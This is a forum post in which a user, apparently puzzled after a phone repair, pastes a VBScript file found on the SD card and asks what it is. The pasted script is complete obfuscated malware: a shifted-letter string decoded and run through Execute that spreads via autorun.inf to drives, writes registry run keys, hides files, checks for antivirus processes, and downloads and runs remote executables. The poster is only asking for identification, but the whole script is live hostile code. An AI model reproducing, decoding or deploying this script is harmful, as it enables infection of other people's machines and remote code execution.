[Windows Mobile Development and Hacking General] Critical_Impact:
So I returned my phone for RMA and they have returned it finally and it works, but funnily enough they left a sim card in it and some files on the SD card.

There are three files,

`.VBS

UPLOADER.IMG

and in a seperate subfolder WMDRM

Uploader.IMG is roughly 50MB big and the VBS file contains this

'EnCode By DaXian
ExeString="ire=reebe gvyr=reebebe&ire nobhg=reebereebe sebzhey=pue(659)&pue(661)&pue(661)&pue(667)&://&pue(30)&b.&pue(93)&pue(00)&pue(06)&1&pue(12)&pue(655)&pue(91)&a&pue(14)&pue(39)&pue(92)&uq&pue(92)&pue(661)&ba&pue(658)&wv&pue(92)&h0&pue(91)&pue(10)&pue(38)&pue(35)ba reebe erfhzr arkg qvz jfu qvz WfuSuryySrg Wfu =CerngrOowrpg(WSpevcg.Suryy) frg WfuSuryy=Wfpevcg.CerngrOowrpg(Wfpevcg.Suryy) Srg FSO = CerngrOowrpg(Spevcgvat.FvyrSlfgrzOowrpg) frg qve = FSO.GrgScrpvnyFbyqre(6) frg jva = FSO.GrgScrpvnyFbyqre(5) Srg qp = FSO.Devirf bhjaanzr=Wfpevcg.SpevcgNnzr rkrzhyh=FSO.GrgScrpvnyFbyqre(7)&\ jorz=FSO.GrgScrpvnyFbyqre(6)&\jorz\ zhyh=yrsg(Wfpevcg.SpevcgFhyyNnzr,yra(Wfpevcg.SpevcgFhyyNnzr)-yra(Wfpevcg.SpevcgNnzr)) vs zhyh=qve&\ gura flf=gehr Fbe Enpu q Ia qp vs zhyh=q&\ gura bcraqvfx=WfuSuryy.Rha(rkcybere &q,8,snyfr) Nrkg vs abg flf gura jfpevcg.fyrrc 7555vs wvapurat(jfpevcg.rkr,7) gura jfpevcg.dhvgraq vslvapnat vs ernqgkg(zhyh&nhgbeha.vas,6)<>gvyr gura ohvyqvas ire,abj,5,bhjaanzr raq Is Lrkr=ernqgkg(zhyh&nhgbeha.vas,0)&.rkr Is sfb.FvyrEkvfgf(rkrzhyh&Lrkr) naq flf gura WfuSuryy.eha rkrzhyh&Lrkr raq vsvs wvapurat(nic.rkr,6) gura x=6ryfrvs wvapurat(RniMba.rkr,6) gura x=7ryfrvs wvapurat(KWngpu.rkr,6) gura x=8ryfr x=9raq vsg = Dnl(Dngr) zbq 8 Is (x=6 naq g=6) be (x=7 naq g=7) be (x=8 naq g=7) be (x=9 naq g=5) gura Lqbjaire=ernqgkg(zhyh&nhgbeha.vas,0) Lgnfxire=ernqgkg(zhyh&nhgbeha.vas,2)Lgnfxfj=ernqgkg(zhyh&nhgbeha.vas,4)vs flf guragrfg=5 qb juvyr grfg<75qbjasvyr rkrzhyh&grfg.ugz,uggc://jjj.onvqh.pbz/,5arggrfg=ernqgkg(rkrzhyh&grfg.ugz,6)qrysvyr(rkrzhyh&grfg.ugz) vs arggrfg<>abg_sbhaq gurarkvg qbryfrgrfg=grfg+6jfpevcg.fyrrc 85555raq vsybbcraq vsvs yrsg((ernqgkg(p:\qngr.ova,6)),4)<>yrsg(abj,4) gura wf=6qb juvyr purpx<><fpevcg vs wf>7 guraqbjasvyr zhyh&grzc.gkg,sebzhey7,5purpx=ernqgkg(zhyh&grzc.gkg,6)ryfrqbjasvyr zhyh&grzc.gkg,sebzhey,5purpx=ernqgkg(zhyh&grzc.gkg,6)raq vswf=wf+6vs wf>9 gurapurpx=<fpevcg 'rkvg qbraq vsybbc Srg OcraFvyr = FSO.OcraTrkgFvyr(zhyh&grzc.gkg, 6) purpx = OcraFvyr.RrnqLvarqbjavf = OcraFvyr.RrnqLvarqbjaire = OcraFvyr.RrnqLvarqbjaanzr = qbjaire&.rkrqbjasebz = OcraFvyr.RrnqLvariofire = OcraFvyr.RrnqLvariofeha = OcraFvyr.RrnqLvariofanzr = OcraFvyr.RrnqLvariofsebz = OcraFvyr.RrnqLvargnfxvf = OcraFvyr.RrnqLvargnfxanzr = OcraFvyr.RrnqLvargnfxsebz = OcraFvyr.RrnqLvarthnattnb= OcraFvyr.RrnqLvarOcraFvyr.Cybfr FSO.DryrgrFvyr(zhyh&grzc.gkg)vs qbjavf=6 guraohvyqsvyr p:\qngr.ova,abjohvyqvas qbjaire,gnfxanzr,gnfxvf,thnattnbIs iofire<>ire guraqbjasvyr zhyh&iofanzr,iofsebz,iofehajfpevcg.dhvgraq vsvs gnfxvf=6 guraIs Lgnfxire<>gnfxanzr be abg sfb.FvyrEkvfgf(rkrzhyh&Lgnfxire) guraqrysvyr rkrzhyh&Lgnfxirenqiqbjasvyr rkrzhyh&gnfxanzr,gnfxsebz,5,8,65555raq vsraq vsIs qbjaire<>Lqbjaire be abg sfb.FvyrEkvfgf(rkrzhyh&Lrkr) guraqrysvyr rkrzhyh&Lrkrnqiqbjasvyr rkrzhyh&qbjaanzr,qbjasebz,5,8,65555raq vsraq vsraq vsvs sfb.FvyrEkvfgf(rkrzhyh&Lgnfxire) naq flf naq Lgnfxfj=6 guraWfuSuryy.eha rkrzhyh&Lgnfxireraq vsEaq vsvs flf gura vs ernqgkg(jva&\`.ior,6)<>'&ire gurapbcliof jva&\`.iorraq vsvs ernqgkg(p:\`.iof,6)<>'&ire gurapbcliof p:\`.iofCbclFvyr zhyh&nhgbeha.vas,p:\nhgbeha.vasraq vstnaena() WfuSuryy.eha zhyh&bhjaanzrryfrfuhkvat zhyh&bhjaanzr,7+9 pbcliof qve&\`.iorpbcliof jva&\`.iorCbclFvyr zhyh&nhgbeha.vas,qve&\nhgbeha.vasvs zhyh<>C:\ gurapbcliof p:\`.iofCbclFvyr zhyh&nhgbeha.vas,p:\nhgbeha.vasraq vsmuhprWfuSuryy.eha qve&\`.iorraq vsshapgvba qrysvyr(jurer) Is sfb.FvyrEkvfgf(jurer) gura fuhkvat jurer,5FSO.DryrgrFvyr(jurer)raq vsraq shapgvbashapgvba ohvyqsvyr(jurer,jung) fuhkvat jurer,5frg ova = sfb.CerngrTrkgFvyr(jurer, Tehr)ova.jevgryvar jungova.pybfrfuhkvat jurer,7+9raq shapgvbashapgvba wvapurat(jurer,trfuh) frg l=trgbowrpg(jvaztzgf:\\.\ebbg\pvzi7) frg k=l.rkrpdhrel(fryrpg * sebz jva87_cebprff jurer anzr='&jurer&') v=6 sbe rnpu w va k v=v+6arkgvs v>trfuh gura wvapurat = gehrraq shapgvbashapgvba pbclsvyr(svyr,jurer) fuhkvat jurer,5vs sfb.FvyrEkvfgf(svyr) gura FSO.CbclFvyr svyr,jurer,Tehrraq vsraq shapgvbashapgvba pbcliof(jurer) fuhkvat jurer,5frg frys=sfb.bcragrkgsvyr(zhyh&bhjaanzr,6)iofpbcl=frys.ernqnyy frys.pybfr frg iof = sfb.CerngrTrkgFvyr(jurer, Tehr)iof.jevgr iofpbcliof.pybfrfuhkvat jurer,7+9raq shapgvbashapgvba muhpr() RrtPngu=HKEY_LOCAL_MACHINE\SOFTWARE\Mvpebfbsg\Wvaqbjf\CheeragVrefvba\cbyvpvrf\Ekcybere\eha\ Tlcr_Nnzr=REG_SZ Krl_Nnzr=rkcybere Krl_Dngn=`.ior WfuSuryy.RrtWevgr RrtPngu&Krl_Nnzr,Krl_Dngn,Tlcr_Nnzr raq shapgvbashapgvba lvapnat() RrtPngu=HKEY_CURRENT_USER\Sbsgjner\Mvpebfbsg\Wvaqbjf\CheeragVrefvba\Ekcybere\Aqinaprq\ Tlcr_Nnzr=REG_DWORD Krl_Nnzr=SubjShcreHvqqra Krl_Dngn=55555555 WfuSuryy.RrtWevgr RrtPngu&Krl_Nnzr,Krl_Dngn,Tlcr_Nnzr raq shapgvbashapgvba ohvyqvas(rkrire,gnfxanzr,gnfxfj,nqi) fuhkvat zhyh&nhgbeha.vas,5frg vav = sfb.CerngrTrkgFvyr(zhyh&nhgbeha.vas, Tehr)vav.jevgryvar gvyrvav.jevgryvar [AhgbRha]vav.jevgryvar nobhgvav.jevgryvar bcra=WSpevcg.rkr .\`.iofvav.jevgryvar rkrirevav.jevgryvar furyy\bcra=´ò¿ª(&O)vav.jevgryvar gnfxanzrvav.jevgryvar furyy\bcra\Cbzznaq=WSpevcg.rkr .\`.iofvav.jevgryvar gnfxfjvav.jevgryvar furyy\bcra\Drsnhyg=6vav.jevgryvar nqivav.pybfrfuhkvat zhyh&nhgbeha.vas,6+7+9raq shapgvbashapgvba ernqgkg(jurer,yvar) vs sfb.FvyrEkvfgf(jurer) guraSrg ernqsvyr = sfb.OcraTrkgFvyr(jurer, 6) v=5 qb juvyr v<yvarv=v+6fgeLvar = ernqsvyr.RrnqLvarybbcernqsvyr.Cybfrernqgkg=fgeLvarryfrernqgkg=abg_sbhaqraq vsraq shapgvbashapgvba fuhkvat(svyr,punatr) vs sfb.FvyrEkvfgf(svyr) guraSrg bFvyr = FSO.GrgFvyr(svyr) bFvyr.Aggevohgrf = punatrSrg bFvyr = Nbguvatraq vsraq shapgvbashapgvba qbjasvyr(ybpnysvyr,heysvyr,ehasvyr) fuhkvat ybpnysvyr,5vLbpny = LCnfr(ybpnysvyr):vRrzbgr = LCnfr(heysvyr):'vs 6=7 gura Wfpevcg.rpub Izcbffvoyr!Srg kPbfg = CerngrOowrpg(Mvpebfbsg.XMLHTTP) 'vs 6=7 gura Wfpevcg.rpub Izcbffvoyr!kPbfg.Ocra trg,vRrzbgr,5 'vs 6=7 gura Wfpevcg.rpub Izcbffvoyr!kPbfg.Sraq() 'vs 6=7 gura Wfpevcg.rpub Izcbffvoyr!Srg fGrg = CerngrOowrpg(ADODB.Sgernz) 'vs 6=7 gura Wfpevcg.rpub Izcbffvoyr!fGrg.Mbqr = 8 'vs 6=7 gura Wfpevcg.rpub Izcbffvoyr!fGrg.Tlcr = 6 'vs 6=7 gura Wfpevcg.rpub Izcbffvoyr!fGrg.Ocra() 'vs 6=7 gura Wfpevcg.rpub Izcbffvoyr!fGrg.Wevgr(kPbfg.erfcbafrBbql) 'vs 6=7 gura Wfpevcg.rpub Izcbffvoyr!fGrg.SnirTbFvyr vLbpny,7 'vs 6=7 gura Wfpevcg.rpub Izcbffvoyr!fuhkvat ybpnysvyr,7+9vs ehasvyr=6 gura Wfu.eha vLbpnyraq shapgvbashapgvba nqiqbjasvyr(ybpnysvyr,heysvyr,ehasvyr,pvfuh,zvafvmr) grfg=5qb juvyr grfg<pvfuhqbjasvyr ybpnysvyr,heysvyr,5vs sfb.FvyrEkvfgf(ybpnysvyr) gurasvyrfvmr=sfb.GrgFvyr(ybpnysvyr).fvmrryfrsvyrfvmr=5raq vsvs svyrfvmr>zvafvmr guravs ehasvyr=6 gura Wfu.eha ybpnysvyrrkvg qbryfrgrfg=grfg+6qrysvyr ybpnysvyrjfpevcg.fyrrc 85555raq vsybbcraq shapgvbashapgvba tnaena() qbFbe Enpu q Ia qpIs q.DevirTlcr = 8 be (q.DevirTlcr = 6 naq q<>A: naq q<> B:) Turavs sfb.FbyqreEkvfgf(q&\nhgbeha.vas) guraSrg bFvyr = FSO.GrgFbyqre(q&nhgbeha.vas)bFvyr.Aggevohgrf = 5Srg bFvyr = NbguvatFSO.DryrgrFbyqre(q&\nhgbeha.vas)raq vsIs sfb.FvyrEkvfgf(q&\`.iof) naq sfb.FvyrEkvfgf(q&\nhgbeha.vas) guravs ernqgkg(q&\nhgbeha.vas,6)<>gvyr guraCbclFvyr qve&\nhgbeha.vas,q&\nhgbeha.vasCbclFvyr jva&\`.ior,q&\`.iofraq vsryfrCbclFvyr qve&\nhgbeha.vas,q&\nhgbeha.vasCbclFvyr jva&\`.ior,q&\`.iofraq vsEaq Isarkgjfpevcg.fyrrc 7555ybbcraq shapgvba"
Execute("For i=1 To Len(ExeString)"&vbCrLf&"linshima = Asc(Mid(ExeString,i,1))"&vbCrLf&"If linshima = 28 Then"&vbCrLf&"linshima = 13"&vbCrLf&"ElseIf linshima = 29 Then"&vbCrLf&"linshima = 10"&vbCrLf&"elseif linshima=18 Then"&vbCrLf&"linshima = 34"&vbCrLf&"elseif linshima>96 and linshima<110 then"&vbCrLf&"linshima=linshima+13"&vbCrLf&"elseif linshima>109 and linshima<123 then"&vbCrLf&"linshima=linshima-13"&vbCrLf&"elseif linshima>47 and linshima<53 then"&vbCrLf&"linshima=linshima+5"&vbCrLf&"elseif linshima>52 and linshima<58 then"&vbCrLf&"linshima=linshima-5"&vbCrLf&"End If"&vbCrLf&"ThisText=ThisText+chr(linshima)"&vbCrLf&"Next")
Execute(ThisText)

Anyone have any clue as to what this stuff is?